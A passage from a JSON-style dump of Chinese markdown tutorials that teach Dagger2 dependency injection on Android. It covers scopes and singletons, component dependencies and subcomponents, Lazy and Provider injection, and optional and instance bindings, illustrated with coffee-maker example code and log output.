@Inject\n    IceBox iceBox;\n    @Inject\n    @Type(\"shuiguo\") // 使用@Type来制定对应的构造函数\n    Milk shuiguoMilk;\n\n    CoffeeMaker() {\n        CoffeeComponent component = DaggerCoffeeComponent.create();\n        component.inject(this);\n    }\n\n    public void brew() {\n        heater.on();\n        pump.pump();\n        System.out.println(\" [_]P coffee! [_]P \");\n        iceBox.addIce();\n        shuiguoMilk.addMilk();\n        heater.off();\n    }\n}\n```\n执行结果:   \n```java\n04-20 19:07:53.823 23151-23151/? I/System.out: ~ ~ ~ heating ~ ~ ~\n    => => pumping => =>\n     [_]P coffee! [_]P \n    加冰了，心飞扬\n    添加:牛奶\n```\n\n虽然是可以了，但是问题又来了，我想在创建`Milk(String shuiguo)`时往里面传递参数，例如，我传递个`caomei`。这该如何操作呢？\n其实执行过程是这样的，再去`Module`中执行构造函数时候`Milk(String shuiguo)`，他会发现可以传一个参数，然后他就会在该`Module`中去找返回值是`string`的方法，\n并将该值传递给构造函数的参数中。   \n\n现在，我们重新把上面的`CoffeeModule`修改一下:    \n```java\n@Module\npublic class CoffeeModule {\n    @Provides\n    Heater provideHeater() {\n        return new ElectricHeater();\n    }\n\n    @Provides\n    Pump providePump() {\n        return new Thermosiphon();\n    }\n\n    @Provides\n    Ice provideIce() {\n        return new NanjiIce();\n    }\n\n    @Provides\n    IceBox provideIceBox(Ice ice) {\n        return new HaierIceBox(ice);\n    }\n\n    @Provides\n    @Type(\"normal\")\n    Milk provideNormalMilk() {\n        return new Milk();\n    }\n\n    @Provides\n    @Type(\"shuiguo\")\n    Milk provideShuiGuoMilk(String shuiguo) {\n        return new Milk(shuiguo);\n    }\n\n    //    由于Milk构造函数里使用了String,所以这里要管理这个String(★否则报错)\n    //    int等基本数据类型是不需要这样做的\n    @Provides\n    public String provideString() {\n        return \"caomei\"; // 前面我们写的是new String()，这里改成caomei\n    }\n}\n```\n好了，执行下:    \n```\n04-20 19:28:31.944 23549-23549/? I/System.out: ~ ~ ~ heating ~ ~ ~\n    => => pumping => =>\n     [_]P coffee! [_]P \n    加冰了，心飞扬\n    添加:caomei牛奶\n```\n\n看，参数加上去了。    \n\n\n\n\n\n下一篇:[4.Dagger2单例(四)](https://github.com/CharonChui/AndroidNote/blob/master/Dagger2/4.Dagger2%E5%8D%95%E4%BE%8B(%E5%9B%9B).md)\n\n\n\n\n\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Dagger2/4.Dagger2单例(四).md",
    "content": "Dagger2单例(四)\n===\n\n我们就继续用前面的例子开始讲了，如果我使用了两个对象:  \n```java\nclass CoffeeMaker {\n    @Inject\n    Heater heater;\n    @Inject\n    Heater heater2;\n\n    CoffeeMaker() {\n        CoffeeComponent component = DaggerCoffeeComponent.create();\n        component.inject(this);\n    }\n\n    public void brew() {\n        Log.e(\"@@@\", \"heater :\" + heater.toString());\n        Log.e(\"@@@\", \"heater2 :\" + heater2.toString());\n    }\n}\n```\n我们的执行结果是:   \n```\nheater :com.charon.stplayer.test.ElectricHeater@2fea2fd\nheater2 :com.charon.stplayer.test.ElectricHeater@8c2abf2\n```\n很显然这是两个不同的对象。 我现在想让该`Heater`是单例呢？   \n\n- 首先，在`CoffeeModule`里的`provideHeater()`方法前面添加`Singleton`\n```java\n@Module\npublic class CoffeeModule {\n    @Singleton\n    @Provides\n    Heater provideHeater() {\n        return new ElectricHeater();\n    }\n\n    ....\n}    \n```\n- 然后再`CoffeeComponent`里的接口上面添加`@Singleton`注释\n```java\n@Singleton\n@Component(modules = CoffeeModule.class)\npublic interface CoffeeComponent {\n    void inject(CoffeeMaker maker);\n\n    Heater provideHeater();\n    Pump providePump();\n    Ice provideIce();\n    IceBox provideIceBox();\n    @Type(\"normal\")\n    Milk provideNormalMilk();\n    @Type(\"shuiguo\")\n    Milk provideShuiGuoMilk();\n    String provideString();\n}\n```\n\n注意`Modle`是在方法上面添加`Singleton`，而`Component`是在接口上面添加`Singleton`。   \n好了，再执行以下:     \n```\nheater :com.charon.stplayer.test.ElectricHeater@2fea2fd\nheater2 :com.charon.stplayer.test.ElectricHeater@2fea2fd\n```\n\n看，它是同一个对象了。\n在`Dagger2`里面还有有一个注解`@Scope`也是用来实现单例的，其实它和`Singleton`差不多，`Singleton`是它的实现。用法也基本一样，只是换一个名字。   \n\n可重用的作用域绑定`(Reusable scope)`\n---\n\n如果你想控制`@Inject`构造器类被实例化或`provider`方法被调用的的次数，且不用保证某个`component`或`subcomponent`在生命周期中使用同一个实例，就可以使用`@Reusable`作用域了。`@Reusable`作用域绑定，不像其他作用域绑定一样需要关联一个`component`，它不会关联任何`component`，相反真正要用这个绑定的`component`都会缓存这个返回值或对象实例。 \n这就意味着，如果你用`@Reusable`为`component`指定`module`，且只有一个`subcomponent`会用到这个绑定，那么只有这个`subcomponent`会缓存这个绑定对象。如果两个`subcomponent`祖先没有共享一个绑定，那么每个`subcomponent`会各自缓存自己的对象。如果一个`component`的祖先已经缓存了绑定对象，那么`subcomponent`会重用这个对象。 \n由于无法保证`component`只会调用一次绑定，`@Reusable`绑定可能会返回不确定的对象，这个时候想引用同一个对象是很危险的。所以当你不关心对象会被实例化多少次使用`@Reusable`是安全的。\n```java\n@Reusable // It doesn't matter how many scoopers we use, but don't waste them.\nclass CoffeeScooper {\n  @Inject CoffeeScooper() {}\n}\n\n@Module\nclass CashRegisterModule {\n  @Provides\n  @Reusable // DON'T DO THIS! You do care which register you put your cash in.\n            // Use a specific scope instead.\n  static CashRegister badIdeaCashRegister() {\n    return new CashRegister();\n  }\n}\n\n@Reusable // DON'T DO THIS! You really do want a new filter each time, so this\n          // should be unscoped.\nclass CoffeeFilter {\n  @Inject CoffeeFilter() {}\n}\n```\n\n\n`@Scope`\n---\n\n在`Dagger2`中，可以通过自定义`Scope`来实现局部单例:   \n```java\n@Scope\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface HeaterScope {\n}\n```\n\n然后在`Module`中和`Singleton`类似去使用它，来指定它的作用范围:   \n```java\n@Module\npublic class CoffeeModule {\n    @HeaterScope\n    @Provides\n    Heater provideHeater() {\n        return new ElectricHeater();\n    }\n    ....\n}    \n```\n然后在`Component`中和`Singleton`类似去使用它，来指定它的作用范围:    \n```java\n@HeaterScope\n@Component(modules = CoffeeModule.class)\npublic interface CoffeeComponent {\n    void inject(CoffeeMaker maker);\n\n    Heater provideHeater();\n    Pump providePump();\n    Ice provideIce();\n    IceBox provideIceBox();\n    @Type(\"normal\")\n    Milk provideNormalMilk();\n    @Type(\"shuiguo\")\n    Milk provideShuiGuoMilk();\n    String provideString();\n}\n```\n\n那`@Singleton`和`@Scope`有什么区别呢？ 我们看一下`@Singleton`的源码:    \n```java\n/**\n * Identifies a type that the injector only instantiates once. Not inherited.\n *\n * @see javax.inject.Scope @Scope\n */\n@Scope\n@Documented\n@Retention(RUNTIME)\npublic @interface Singleton {}\n```\n\n查看源码可以发现`@Singleton`是使用注解`@Scope`修饰的, 而`@Scope`是用来声明作用域的,`Dagger2`的机制:在同一作用域下`provides`提供的依赖对象会保持单例, 脱离这一作用域, 单例作用就会失效, 可以说`@Singleton`是`@Scope`注解的一个标准, 我们还可以去自定义一些`Scope`注解来指定具体的作用域，这里就先不介绍了。 \n\n好了，到这里基本讲的差不多了，那我们就开始开发了，为了简单，我们就还是用咖啡的例子，在`Android`开发中，有两个`Activity`，我想在这两个`Activity`中都使用`Heater`对象，我们前面已经把它设置\n成单例了。但是想要在两个`Activity`中都使用，我们首先要修改一下`CoffeeComponent`的`inject`方法。   \n```java\n@Singleton\n@Component(modules = CoffeeModule.class)\npublic interface CoffeeComponent {\n    void inject(MainActivity maker);\n    void inject(FirstActivity maker);\n\n    Heater provideHeater();\n    Pump providePump();\n    Ice provideIce();\n    IceBox provideIceBox();\n    @Type(\"normal\")\n    Milk provideNormalMilk();\n    @Type(\"shuiguo\")\n    Milk provideShuiGuoMilk();\n    String provideString();\n}\n```      \n好了接下来分别在`MainActivity`和`FirstActivity`中去使用:     \n```java\nimport javax.inject.Inject;\n\npublic class MainActivity extends AppCompatActivity {\n    @Inject\n    Heater heater1;\n    @Inject\n    Heater heater2;\n\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n\n        CoffeeComponent component = DaggerCoffeeComponent.create();\n        component.inject(this);\n        Log.e(\"@@@\", \"MainActivity heater :\" + heater1.toString());\n        Log.e(\"@@@\", \"MainActivity heater2 :\" + heater2.toString());\n        startActivity(new Intent(MainActivity.this, FirstActivity.class));\n        finish();\n    }\n}\n```\n`FirstActivity`:    \n```java\npublic class FirstActivity extends AppCompatActivity {\n    @Inject\n    Heater heater1;\n    @Inject\n    Heater heater2;\n\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n\n        CoffeeComponent component = DaggerCoffeeComponent.create();\n        component.inject(this);\n\n        Log.e(\"@@@\", \"FirstActivity heater :\" + heater1.toString());\n        Log.e(\"@@@\", \"FirstActivity heater2 :\" + heater2.toString());\n    }\n}\n```\n\n走你 ~\n\n```\n04-21 11:57:31.514 12146-12146/com.charon.daggerdemo E/@@@: MainActivity heater :com.charon.daggerdemo.test.ElectricHeater@91bece5\n    MainActivity heater2 :com.charon.daggerdemo.test.ElectricHeater@91bece5\n04-21 11:57:31.734 12146-12146/com.charon.daggerdemo E/@@@: FirstActivity heater :com.charon.daggerdemo.test.ElectricHeater@765de0d\n    FirstActivity heater2 :com.charon.daggerdemo.test.ElectricHeater@765de0d\n```\n\n我屮艸芔茻!!!每个`Activity`中的对象确实是一样的，但是两个不同的`Activity`中是不一样的。单例个锤子啊单例。这也是单例，只不过是局部单例。\n使用`@Singeton`注解或者定制的`@Scope`的, 只在同一个`activity`或者`fragment`的一个生命周期中保持单例. 而平时我们希望一些对象能够在整个应用的生命周期中只存在一个, 也就是说实现全局意义上真正的单例该怎么做呢?       \n\n上面的`DaggerCoffeeComponent`在两个`Activity`中被各自被实例化一次, 导致产生了两个不同的对象, 所以我们需要做到让`DaggerCoffeeComponent`能够实现单例，在不同的`Activity`都是同一个对象，这样就可以保证全局单例了,`Android`中整个`App`生命周期中都只有一个`Appclication`实例,所以可以在`Application`中获得一个唯一的`Component`实例:    \n\n主要分为以下基本部分:   \n\n- 创建一个`BaseModule`，并且创建单例的`provideHeater`方法\n\n\t```java\n\t@Module\n\tpublic class BaseModule {\n\t    @Singleton\n\t    @Provides\n\t    public Heater provideHeater() {\n\t        return new ElectricHeater();\n\t    }\n\t}\n\t```\n\n- 接下来就是创建`BaseComponent`类，并且要将该接口声明单例 \n\n\t```java\n\t@Singleton\n\t@Component(modules = BaseModule.class)\n\tpublic interface BaseComponent {\n        // 之前我们说过Component中的provideXXX是可以不写的，但是如果你想让别的Component依赖该Component，就必须写，不写的话意味着没有向外界暴露该依赖\n\t    Heater provideHeater();\n\t}\n\t```\n    到这里，可能就会有疑问了，你忘了写`inject`方法了。这里`BaseComponent`是不需要写`inject`方法的，因为他没有要注入的类，我们下面会有具体的`Component`类来写`inject`，方法。这是`base`就不需要了       \n    注意:`BaseComponent`中不再需要写`inject`方法, 因为这个`component`是用来让别的`component`来依赖的, 只需要告诉别的`component`他可以提供哪些类型的依赖即可, 这个例子中 我们提供一个全局`Heater`的依赖\n\n- 接下类是定义具体依赖于`BaseComponent`的子`Component`,之前我们写`Component`都是用`@Component(modules = BaseModule.class)`来指定具体要去查找类的`Module`，但是这里不一样了，\n这里该`Component`是依赖于`BaseComponent`，所以这里要使用`dependencies`关键字了。  \n\n\t```java\n\t@Singleton\n\t@Component(dependencies = BaseComponent.class)\n\tpublic interface HeaterComponent {\n        // 因为这里HeaterComponent依赖了BaseComponent，所以这里就有proviceHetear方法\n\t    void inject(MainActivity maker);\n\t    void inject(FirstActivity maker);\n\t}\n\t```\n\n\t好了，这里我们重新`build`一次，如果没有意外的话，就会生成`DaggerHeaterComponent`类了，我们去使用它就可以了。    \n\t但是，但是，出意外了.....\n\t```\n\t错误: This @Singleton component cannot depend on scoped components:\n    @Singleton com.charon.daggerdemo.test.BaseComponent\n\t```\n\t答题意思是说，使用`@Singleton`修饰的`component`不能依赖另一个局部的`component`，也就是`@Singleton com.charon.daggerdemo.test.BaseComponent`。\n\t也就是说如果依赖的`component`中也使用了`@singleton`时, 被依赖的地方就不能再使用`@Singleton`了。   \n\t`BaseComponent`我明明是\n\t用了`@Singleton`，而这个错误信息却说是一个`scoped component`，这是什么鬼？ 这个其实前面我们也说过了,这里再看一下`@Singleton`的源码:     \n\t```java\n\t@Scope\n\t@Documented\n\t@Retention(RUNTIME)\n\tpublic @interface Singleton {}\n\t```\n\n    那这里不能用`@Singleton`该怎么处理呢？ 这里要用到自定义`@Scope`了。   \n    自定义一个`ActivityScope`:   \n    ```java\n\t@Scope\n\t@Retention(RetentionPolicy.RUNTIME)\n\tpublic @interface ActivityScope {\n\t}\n    ```\n\n    然后修改我们上面的`HeaterComponent`类，把之前使用的`@Singleton`修改成我们刚才自定义的`@ActivityScope`:    \n    ```java\n\t@ActivityScope\n\t@Component(dependencies = BaseComponent.class)\n\tpublic interface HeaterComponent {\n\t    void inject(MainActivity maker);\n\t    void inject(FirstActivity maker);\n\t}\n    ```\n\n    好了，再`build`一下，\n\n- 自定义`Application`\n\n```java\npublic class BaseApplication extends Application {\n    private static BaseApplication mApplication;\n    private BaseComponent baseComponent;\n    public static BaseApplication getInstance() {\n        return mApplication;\n    }\n    @Override\n    public void onCreate() {\n        super.onCreate();\n        mApplication = this;\n        // 下面这两种方式都是可以的\n//        baseComponent = DaggerBaseComponent.create();\n        baseComponent = DaggerBaseComponent.builder().baseModule(new BaseModule()).build();\n    }\n\n    public BaseComponent getBaseComponent() {\n        return baseComponent;\n    }\n}\n```    \n\n- 好了，去`MainActivity`和`FirstActivity`中修改下:    \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/dagger_depend_create.png?raw=true)    \n和前面一样，直接调用`DaggerHeaterComponent`你会发现没有`create`方法了，只有一个`builder`方法，这种依赖的方式，必须要使用`buildrer`来进行。   \n```java\npublic class MainActivity extends AppCompatActivity {\n    @Inject\n    Heater heater1;\n    @Inject\n    Heater heater2;\n\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        // .baseComponent就是将Application中的BAseComponent传递到子component中，而在application中一创建就调用了DaggerBaseComponent.builder().build();\n        HeaterComponent component = DaggerHeaterComponent.builder().baseComponent(\n                BaseApplication.getInstance().getBaseComponent()).build();\n        component.inject(this);\n        Log.e(\"@@@\", \"MainActivity heater :\" + heater1.toString());\n        Log.e(\"@@@\", \"MainActivity heater2 :\" + heater2.toString());\n        startActivity(new Intent(MainActivity.this, FirstActivity.class));\n        finish();\n    }\n}\n```\n```java\npublic class FirstActivity extends AppCompatActivity {\n    @Inject\n    Heater heater1;\n    @Inject\n    Heater heater2;\n\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        HeaterComponent component = DaggerHeaterComponent.builder().baseComponent(\n                BaseApplication.getInstance().getBaseComponent()).build();\n        component.inject(this);\n\n        Log.e(\"@@@\", \"FirstActivity heater :\" + heater1.toString());\n        Log.e(\"@@@\", \"FirstActivity heater2 :\" + heater2.toString());\n    }\n}\n```\n\n运行下:   \n```\n04-21 13:28:46.944 15130-15130/com.charon.daggerdemo E/@@@: MainActivity heater :com.charon.daggerdemo.test.ElectricHeater@91bece5\n    MainActivity heater2 :com.charon.daggerdemo.test.ElectricHeater@91bece5\n04-21 13:28:47.024 15130-15130/com.charon.daggerdemo E/@@@: FirstActivity heater :com.charon.daggerdemo.test.ElectricHeater@91bece5\n    FirstActivity heater2 :com.charon.daggerdemo.test.ElectricHeater@91bece5\n```\n\n看，现在是全局单例了\n\n\n上面讲到了`Component`依赖，这里仔细讲讲，在上面的例子`Activity`中:  \n\n```java\n// .baseComponent就是将Application中的BAseComponent传递到子component中，而在application中一创建就调用了DaggerBaseComponent.builder().build();\nHeaterComponent component = DaggerHeaterComponent.builder().baseComponent(\n        BaseApplication.getInstance().getBaseComponent()).build();\ncomponent.inject(this);\n```\n\n这里因为`baseComponent`的生命周期比较特殊，需要和`Application`绑定，所以`BaseComponent`的`build`工作放到`Application`中了。如果对于普通的`component`依赖\n这里其实是两部分，假设目前我们有这种情况，已经有了一个`A`:   \n```java\npublic class A {\n    public A() {\n        Log.e(\"@@@\", \"crate a\");\n    }\n}\n\n@Module\npublic class AModule {\n    @Provides\n    public A proviceA() {\n        return new A();\n    }\n}\n\n@Component(modules = AModule.class)\npublic interface AComponent {\n    A proviceA();\n    void inject(FirstActivity activity);\n}\n\n```\n\n同样还有`B`:  \n\n```java\npublic class B {\n    public B() {\n        Log.e(\"@@@\", \"crate b\");\n    }\n}\n\n@Module\npublic class BModule {\n    @Provides\n    public B proviceB() {\n        return new B();\n    }\n}\n\n@Component(modules = BModule.class)\npublic interface BComponent {\n    B proviceB();\n    void inject(MainActivity activity);\n}\n```\n\n我们在`MainActivity`中去注入`B`:    \n```java\npublic class MainActivity extends AppCompatActivity {\n    @Inject\n    B b;\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        BComponent bComponent = DaggerBComponent.create();\n        bComponent.inject(this);\n    }\n}\n```\n\n执行结果:   \n```\n04-21 18:45:38.494 18851-18851/com.charon.daggerdemo E/@@@: crate b\n```\n\n现在我想在`B`中注入`A`怎么办？我想也去用`A`，但是`A`已经有了，我不至于要重新再去写一遍:   \n```java\n@Component(modules = BModule.class, dependencies = AComponent.class) // 只需要在这里把AComponent引入，其他不用动\npublic interface BComponent {\n    B proviceB();\n    void inject(MainActivity activity);\n}\n```\n\n到这里，我们的`BComponent`继承了`AComponent`，它也有了`AComponent`中的方法:   \n```java\npublic class MainActivity extends AppCompatActivity {\n    @Inject\n    B b;\n    @Inject\n    A a;\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        // 注意要先build获取AComponent\n        AComponent aComponent = DaggerAComponent.builder().aModule(new AModule()).build();\n        // 要通过aComponent()方法将AComponent设置到BComponent中\n        BComponent bComponent = DaggerBComponent.builder().bModule(new BModule()).aComponent(aComponent).build();\n        bComponent.inject(this);\n    }\n}\n```\n\n执行结果:   \n```\n04-21 19:04:59.209 20445-20445/? E/@@@: crate b\n04-21 19:04:59.210 20445-20445/? E/@@@: crate a\n```\n\n\n\n可释放的引用(Releasable references)\n---\n\n如果一个绑定使用`scope`注解，这就意味着`component`对象会持有这个作用域对象的引用直到`component`自己被`GC`回收。在像`Android`这样的内存敏感环境中，如果你想在内存紧张时让`GC`回收当前未使用的作用域对象，只需要使用`@CanReleaseReferences`定义一个`scope`即可：\n```java\n@Documented\n@Retention(RUNTIME)\n@CanReleaseReferences\n@Scope\npublic @interface MyScope {}\n```\n可以为`scope`注入一个`ReleasableReferenceManager`对象，在内存紧张时调用它的`releaseStrongReferences()`方法以便让`component`持有该对象的弱引用而不是强引用。\n```java\n@Inject @ForReleasableReferences(MyScope.class)\nReleasableReferences myScopeReferences;\n\nvoid lowMemory() {\n  myScopeReferences.releaseStrongReferences();\n}\n```\n当内存压力减少时可以调用`restoreStrongReferences()`方法恢复缓存对象的强引用。\n```java\nvoid highMemory() {\n  myScopeReferences.restoreStrongReferences();\n}\n```\n\n\n如果一个`Component`的功能不能满足你的需求，你需要对它进行拓展，这里有两种方式:\n\n- 使用`@Component(dependencies=××.classs)`\n- 使用`@Subcomponent`\n\n`@SubComponent`\n---\n\n`Subcomponent`用于拓展原有`component`。同时这将产生一种副作用——子`component`同时具备两种不同生命周期的`scope`。子`Component`具备了父`Component`拥有的`Scope`，也具备了自己的`Scope`。\n\n`Subcomponent`其功能效果优点类似`component`的`dependencies`。但是使用`@Subcomponent`不需要在父`component`中显式添加子`component`需要用到的对象，只需要添加返回子`Component`的方法即可，子`Component`能自动在父`Component`中查找缺失的依赖。\n\n\n我们还是用上面`A`和`B`的例子，假设`A`是父类:   \n\n- 首先，修改`AComponent`类，在里面提供`BComponent`\n```java\n//@Singleton\n@Component(modules = AModule.class)\npublic interface AComponent {\n    // 一定要在A中提供获取BComponent的方法\n    BComponent bcomponent();\n    A provideA();\n    void inject(FirstActivity activity);\n}\n```\n\n- 其次，修改`BComponent`，将其修改成`SubComponent`的方式,并且去掉前面的`dependencies`\n```java\n//@ActivityScope  // 如果有的话只能比父类的范文小\n@Subcomponent(modules = BModule.class) \npublic interface BComponent {\n    B provideB();\n    void inject(MainActivity activity);\n}\n```\n\n- 使用    \n\n```java\npublic class MainActivity extends AppCompatActivity {\n    @Inject\n    B b;\n    @Inject\n    A a;\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        AComponent aComponent = DaggerAComponent.builder().aModule(new AModule()).build();\n        // 通过AComponent里面的方法去拿BComponent，然后调用inject\n        aComponent.bcomponent().inject(this);\n//        BComponent bComponent = DaggerBComponent.builder().bModule(new BModule()).aComponent(aComponent).build();\n//        bComponent.inject(this);\n    }\n}\n```\n\n对比中我们发现`dependencies`中`Component`强调的是在子类`Component`依赖于某个`Component`（子类为主角），而`Subcomponent`中强调的则是在父类`Component`中提供某个子类的`Component`（父类为主角）。\n\n但是这两种到底有什么区别呢？\n\n`Component.dependiences`方式\n---\n\n\n- 可以很清晰的看到具体的依赖关系\n- 会生成独立的`DaggerXXXXComponent`类\n- 依赖`Component`仅继承被依赖`Component`中显示提供的依赖，如果不提供，则无法使用`@Inject`注入被依赖的`Component`中的对象\n\n\n`SubComponent`方式\n---\n\n\n- 不需要在被依赖的`Component`显示提供依赖\n- 不需要使用更多的`DaggerXXXXComponent`对象来创建依赖，仅需要在被依赖`Component`中增加获取`XXXComponent`的方法\n- 但是会依赖不明确，不容易明确的看到具体的依赖关系\n- 多人开发，被依赖`Component`容易造成冲突\n- 务必在被依赖`Component`中创建`XXXComponent`的获取方法，并在被依赖`Component`的`DaggerXXXComponent`的实例化对象中调用该方法\n\n\n最后总结一下几个注解:     \n\n- `@Module`: 修饰类，用来提供依赖，里面会提供具体生成依赖类对象的方法，供使用者通过\n- `@Provides`:用于注解被`@Module`修饰的类中的方法, 当需要该类的依赖时会去找返回值为该类的方法\n- `@Component`:注解一个接口或者抽象类,为`inject`和`module`之间建立联系，可以理解为不赚差价的中间商，在编译时会产生对应的类的实例, 为依赖方和被依赖方提供桥梁,把相关的依赖注入到其中.\n- `@inject`:依赖注入类中的依赖变量声明,让`Dagger2`为其提供依赖或者用在被依赖的类的构造方法上申明, 通过标记构造函数让`Dagger2`来使用, 可以在需要这个类实例的时候来找到这个构造函数并把相关实例`new`出来\n- `@Named`:用于区分我们获取依赖的方法\n`Dagger2`寻找依赖是根据我们提供方法的返回值进行匹配的, 当我们遇到不同提供依赖的方法但是返回值类型是相同的应该怎么办呢?`Dagger2`提供了`Named`注解,用于区分相同返回值类型的不同方法.\n- `@Qualifier`:与`Named`一致,`Named`是继承`Qulifier`的,相当于`Dagger2`为我们提供的标准化的区分器,\n- `Singleton`:声明单例模式,`Dagger2`的机制是需要某个对象是回去找对应提供的实例化方法,多次寻找就会创建多个对象,当我们需要让对象保持单例模式时, 要使用`@Singleton`修饰提供依赖的方法\n- `@Scope`:查看源码可以发现`@Singleton`是使用注解`@Scope`修饰的,而`@Scope`是用来声明作用域的,`Dagger2`的机制:在同一作用域下,`provides`提供的依赖对象会保持单例,脱离这一作用域, 单例作用就会失效,可以说`@Singleton`是`@Scope`注解的一个标准,我们还可以去自定义一些`Scope`注解.\n\n\n下一篇:[Dagger2Lay和Provider(五)](https://github.com/CharonChui/AndroidNote/blob/master/Dagger2/5.Dagger2Lay%E5%92%8CProvider(%E4%BA%94).md)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Dagger2/5.Dagger2Lay和Provider(五).md",
    "content": "Dagger2Lay和Provider(五)\n===\n\n\n`Lazy<>(延迟加载)`和`Provider<>`(强制重新加载)\n---\n\n我们再回到之前的例子，现在我们把前面使用单例的部分都去掉，再来继续讲其他的部分。在上面的`CoffeeModule`中，把每个`provideXXX()`都添加一句`log`:   \n```java\n@Module\npublic class CoffeeModule {\n    @Provides\n    Heater provideHeater() {\n        System.out.println(\"provide heater\");\n        return new ElectricHeater();\n    }\n\n    @Provides\n    Pump providePump() {\n        System.out.println(\"provide pump\");\n        return new Thermosiphon();\n    }\n\n    @Provides\n    Ice provideIce() {\n        System.out.println(\"provide ice\");\n        return new NanjiIce();\n    }\n\n    @Provides\n    IceBox provideIceBox(Ice ice) {\n        System.out.println(\"provide ice box\");\n        return new HaierIceBox(ice);\n    }\n    ...\n}\n```\n\n然后我们在`CoffeeMaker`中，只调用`Component`的`inject`方法，但是不去使用该对象:   \n```java\nclass CoffeeMaker {\n    @Inject\n    Heater heater;\n    @Inject\n    Lazy<Pumb> pump; // 使用lazy\n    @Inject\n    Provider<IceBox> iceBox; // 使用provider\n    @Inject\n    @Type(\"shuiguo\")\n    Milk shuiguoMilk;\n\n    CoffeeMaker() {\n        CoffeeComponent component = DaggerCoffeeComponent.create();\n        component.inject(this);\n    }\n\n    public void brew() {\n//        heater.on();\n//        pump.pump();\n        System.out.println(\" [_]P coffee! [_]P \");\n//        iceBox.addIce();\n//        shuiguoMilk.addMilk();\n//        heater.off();\n    }\n}\n```\n\n执行结果:   \n```\n04-21 15:03:11.684 17811-17811/com.charon.stplayer I/System.out: provide heater\n04-21 15:03:11.694 17811-17811/com.charon.stplayer I/System.out:  [_]P coffee! [_]P \n```\n可以看到普通注入只要声明就会被初始化,而使用`Provider`和`Lazy`包装的并没有进行初始化, 接下来我们分别对这些不同对象调用两次:   \n```java\nclass CoffeeMaker {\n    @Inject\n    Heater heater;\n    @Inject\n    Lazy<Pump> pump;\n    @Inject\n    Provider<IceBox> iceBox;\n    @Inject\n    @Type(\"shuiguo\")\n    Milk shuiguoMilk;\n\n    CoffeeMaker() {\n        CoffeeComponent component = DaggerCoffeeComponent.create();\n        component.inject(this);\n    }\n\n    public void brew() {\n        heater.on();\n        System.out.println(\" heater on \");\n        heater.on();\n        System.out.println(\" heater on \");\n        pump.get().pump();\n        System.out.println(\" pump pump \");\n        pump.get().pump();\n        System.out.println(\" pump pump \");\n        System.out.println(\" [_]P coffee! [_]P \");\n        iceBox.get().addIce();\n        System.out.println(\" iceBox addIce \");\n        iceBox.get().addIce();\n        System.out.println(\" iceBox addIce \");\n        shuiguoMilk.addMilk();\n        heater.off();\n    }\n}\n```\n\n执行结果:    \n```\nprovide heater   // 一共执行了一次provide heater\n~ ~ ~ heating ~ ~ ~\n heater on \n~ ~ ~ heating ~ ~ ~\n heater on \nprovide pump     // 一共执行了一次provide pump\n=> => pumping => =>\n pump pump \n=> => pumping => =>\n pump pump \n [_]P coffee! [_]P \nprovide ice         // 执行了第一次provide ice 和 provide icebox\nprovide ice box\n加冰了，心飞扬\n iceBox addIce      // 调用了第一次iceBox.addIce方法\nprovide ice         // 执行了第二次provide ice 和 provide icebox\nprovide ice box\n加冰了，心飞扬\n iceBox addIce      // 调用了第二次iceBox.addIce方法\n添加:caomei牛奶\n\n```\n\n可以看到使用`Provider`包装的类,每次调用都会重新获取新的实例,而使用普通注入和使用`Lazy`包装都使用的是用一个实例。   \n\n当然，如果限定局部单例之后,无论是`Provider`还是`Lazy`,在同一个`Activity`中只会获取同一个依赖对象.\n\n\n关于`Dagger`的部分基本都讲完了，后面就是讲`Dagger`和`Android`的结合了。这里总结一下`Dagger`的依赖注入规则是:     \n\n- 1.查找`Module`中是否存在创建该类的方法。\n- 2.若存在创建类方法，查看该方法是否存在参数\n    - 2.1若存在参数，则按从步骤1开始依次初始化每个参数\n    - 2.2若不存在参数，则直接初始化该类实例，一次依赖注入到此结束\n- 3若不存在创建类方法，则查找`Inject`注解的构造函数，看构造函数是否存在参数\n    - 3.1若存在参数，则从步骤1开始依次初始化每个参数\n    - 3.2若不存在参数，则直接初始化该类实例，一次依赖注入到此结束\n\n依赖对象的注入源应该是有两个，一是Module中的@Provides方法，而是使用@Inject注解的构造函数。从前面示例中可以看出，如果使用@Scope注解类同时使用@Inject注解构造函数时，第一次创建时调用构造函数，然后将创建的实例缓存。以后再依赖注入时，不再调用构造函数创建，而是取缓存中的实例。根据Dagger的依赖注入规则，Module中的@Provides方法的优先级高于@Inject,那么使用@Scopre使用注解@Provides方法会产生什么样的效果呢？\n\n\n可选的绑定`(Optional bindings)`\n---\n\n如果你想某个绑定在`component`的某些依赖不满足的情况下也能工作，可以给`Module`添加一个`@BindsOptionalOf`方法:    \n```java\n@BindsOptionalOf abstract CoffeeCozy optionalCozy();\n```\n这就意味着`@Inject`构造器和成员和`@Provides`方法可以依赖一个`Optional<CoffeeCozy>`对象，如果`component`绑定了`CoffeeCozy`那么`Optional`就是当前的，否则`Optional`就是缺省的。你可以注入一下几种类型:   \n```java\nOptional<CoffeeCozy>\nOptional<Provider<CoffeeCozy>>\nOptional<Lazy<CoffeeCozy>>\nOptional<Provider<Lazy<CoffeeCozy>>>\n```\n\n\n\n绑定实例`(Binding Instances)`\n---\n\n如果你想在绑定`component`时注入参数，如`app`需要一个用户名参数，就可以给`component`的`builder`方法添加一个`[@BindsInstance][BindsInstance]`方法注解以使用户名字符串实例可以被注入到`component`中:     \n```java\n@Component(modules = AppModule.class)\ninterface AppComponent {\n  App app();\n\n  @Component.Builder\n  interface Builder {\n    @BindsInstance Builder userName(@UserName String userName);\n    AppComponent build();\n  